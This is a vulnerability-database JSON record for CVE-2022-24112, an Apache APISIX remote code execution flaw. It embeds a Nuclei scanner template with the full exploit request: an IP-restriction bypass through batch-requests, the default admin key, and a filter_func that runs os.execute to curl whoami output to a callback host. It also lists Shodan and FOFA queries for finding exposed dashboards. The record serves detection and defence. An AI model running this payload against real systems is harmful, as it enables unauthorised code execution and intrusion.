{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-24112/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-24112/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-24112/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-24112/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-24112/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-24112"},"sightings":{"href":"/api/v1/sightings/cve-2022-24112"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.96069,"kev":true,"percentile":0.99875},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-24112.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-24112\n\ninfo:\n  name: Apache APISIX - Remote Code Execution\n  author: Mr-xn\n  severity: critical\n  description: A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: Upgrade to 2.10.4 or 2.12.1. Or, explicitly configure the enabled plugins in `conf/config.yaml` and ensure `batch-requests` is disabled. (Or just comment out `batch-requests` in `conf/config-default.yaml`).\n  reference:\n    - https://www.openwall.com/lists/oss-security/2022/02/11/3\n    - https://twitter.com/sirifu4k1/status/1496043663704858625\n    - https://apisix.apache.org/zh/docs/apisix/plugins/batch-requests\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-24112\n    - http://www.openwall.com/lists/oss-security/2022/02/11/3\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-24112\n    cwe-id: CWE-290\n    epss-score: 0.96069\n    epss-percentile: 0.99875\n    cpe: cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: apache\n    product: apisix\n    shodan-query:\n      - title:\"Apache APISIX Dashboard\"\n      - http.title:\"apache apisix dashboard\"\n    fofa-query:\n      - title=\"Apache APISIX Dashboard\"\n      - title=\"apache apisix dashboard\"\n    google-query: intitle:\"apache apisix dashboard\"\n  tags: cve,cve2022,apache,rce,apisix,oast,kev,intrusive,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /apisix/batch-requests HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept-Encoding: gzip, deflate\n        Accept-Language: zh-CN,zh;q=0.9\n\n        {\n          \"headers\":{\n            \"X-Real-IP\":\"127.0.0.1\",\n            \"Content-Type\":\"application/json\"\n          },\n          \"timeout\":1500,\n          \"pipeline\":[\n            {\n              \"method\":\"PUT\",\n              \"path\":\"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1\",\n              \"body\":\"{\\r\\n \\\"name\\\": \\\"test\\\", \\\"method\\\": [\\\"GET\\\"],\\r\\n \\\"uri\\\": \\\"/api/{{randstr}}\\\",\\r\\n \\\"upstream\\\":{\\\"type\\\":\\\"roundrobin\\\",\\\"nodes\\\":{\\\"httpbin.org:80\\\":1}}\\r\\n,\\r\\n\\\"filter_func\\\": \\\"function(vars) os.execute('curl {{interactsh-url}}/`whoami`'); return true end\\\"}\"\n            }\n          ]\n        }\n      - |\n        GET /api/{{randstr}} HTTP/1.1\n        Host: {{Hostname}}\n        Accept-Encoding: gzip, deflate\n        Accept-Language: zh-CN,zh;q=0.9\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_1\n        words:\n          - '\"reason\":\"OK\"'\n          - '\"status\":200'\n        condition: and\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - http\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        group: 1\n        regex:\n          - GET \\/([a-z-]+) HTTP\n        part: interactsh_request\n# digest: 4a0a00473045022006bf92878a557c90f46b3f72477e859f3b197425cf0f247316e401a072dcc721022100cf87ffb1799c85dc872b02195fa88ca2d38cfa05c5633e965ac1c63a0b4a8ff3:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2022-24112"}